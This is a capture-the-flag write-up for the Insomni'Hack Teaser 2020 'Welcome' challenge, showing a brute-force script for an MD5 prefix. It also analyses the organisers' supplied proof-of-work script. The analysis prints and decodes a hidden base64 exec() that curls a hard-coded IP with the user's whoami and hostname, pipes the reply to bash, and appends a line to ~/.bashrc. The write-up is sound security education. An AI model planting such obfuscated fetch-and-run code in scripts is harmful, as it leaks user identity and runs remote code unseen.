Insomni’Hack Teaser 2020 - Welcome - Writeup

Posted on
This year we added a Proof of Work to some of our challenges.

Just run python pow.py <target>, were target is the value provided by the server and get the flag.

pow

nc welcome.insomnihack.ch 1337

Run nc welcome.insomnihack.ch 1337, we get

======================================================================
============   Welcome to the Insomni'Hack Teaser 2020!   ============
======================================================================

Give me an input whose md5sum starts with "1a3a7e" and get the flag ;)

I completely forgot that there is a pow.py file at this point, and I wrote my own brute forcing script. Since we only need to match the first six bytes, the brute force space is not so large.

import random
import string
import hashlib

def random_string(stringLength=8):
    """Generate a random string of fixed length """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))

count = 0
while 1:
    count = count + 1
    input = random_string()
    output = hashlib.md5(input.encode('ascii')).hexdigest()
    if not count % 500000:
        print('count: ' + str(count))
        print('output: ' + output)
    if output.startswith('1a3a7e'):
        print('Success!')
        print('input: ' + input)
        print('output: '+ output)
        print('count: ' + str(count))
        break

After some rounds, we get a matching input.

count: 500000
output: e80746c24c6d84ac5a63d151dff565c2
count: 1000000
output: bfc2a278f55fb236682897f1476299b8
count: 1500000
output: 646527e667f9e667634ef826b42c709f
count: 2000000
output: ed8c81e4e8e8a3d870e90c34e2aa8cc7
count: 2500000
output: c9c198169e5e57226b1ccd3c0f8f62d2
count: 3000000
output: a547b461cde30097d18f25df7712f57c
count: 3500000
output: 80b04042e2d8a4127cc69cd7afdc5de8
count: 4000000
output: 8eb6371c3d304cb087c85ca2cc561765
count: 4500000
output: d866afa4a0240ac9268d0c3182631f34
count: 5000000
output: 7cbe92074d22958b0d5c03be433aec85
Success!
input: uvkrpzwc
output: 1a3a7e2b9aadc388ad8905b4b3b38fbb
count: 5400498

Enter the input uvkrpzwc, we get the flag

uvkrpzwc

MITM are real: check SHA, check code, ...

INS{Miss me with that fhisy line}

So it turns out that the pow.py file included in the challenge is the brute forcing script written by the author. But there are some surprises hidden in it :)

import base64
import hashlib
import os
import sys

target = sys.argv[1]
i = 0

def pow():
    global i, target
    while True:
        m = hashlib.md5()
        m.update(str(i).encode())
        h = m.hexdigest()
        if h[:6] == target:
            exec(base64.b64decode('Z2xvYmFsIGk7aSs9MTMzNzt4PW9zLm5hbWU7eCs9Ii8kKHdob2FtaSlAJChob3N0bmFtZSl8YmFzaCJpZiB4IT0ibnQiZWxzZSIvJVVTRVJOQU1FJUAlVVNFUkRPTUFJTiUiO29zLnN5c3RlbSgiY3VybCAtTnMgMzQuNjUuMTg3LjE0MS8iK3gp'))
            print(i)
            exit(0)
        i += 1

if __name__ == '__main__':
    pow()

The line with exec() actually translates to

global i
i+=1337
x=os.name
x+="/$(whoami)@$(hostname)|bash"if x!="nt"else"/%USERNAME%@%USERDOMAIN%"
os.system("curl -Ns 34.65.187.141/"+x)

It adds 1337 to the the supposedly correct i, if we enter this malformed input, we get the output.

«Welcome to the wall of shame 2.0!» ~Mallory

And the curl command in the last line executes

base64  -d >> ~/.bashrc <<< ZXhwb3J0IFBST01QVF9DT01NQU5EPSdlY2hvIFRIQU5LIFlPVSBGT1IgUExBWUlORyBJTlNPTU5JSEFDSyBURUFTRVIgMjAyMCcK

which appends export PROMPT_COMMAND='echo THANK YOU FOR PLAYING INSOMNIHACK TEASER 2020' to ~/.bashrc. So you get the greeting in your bash shell.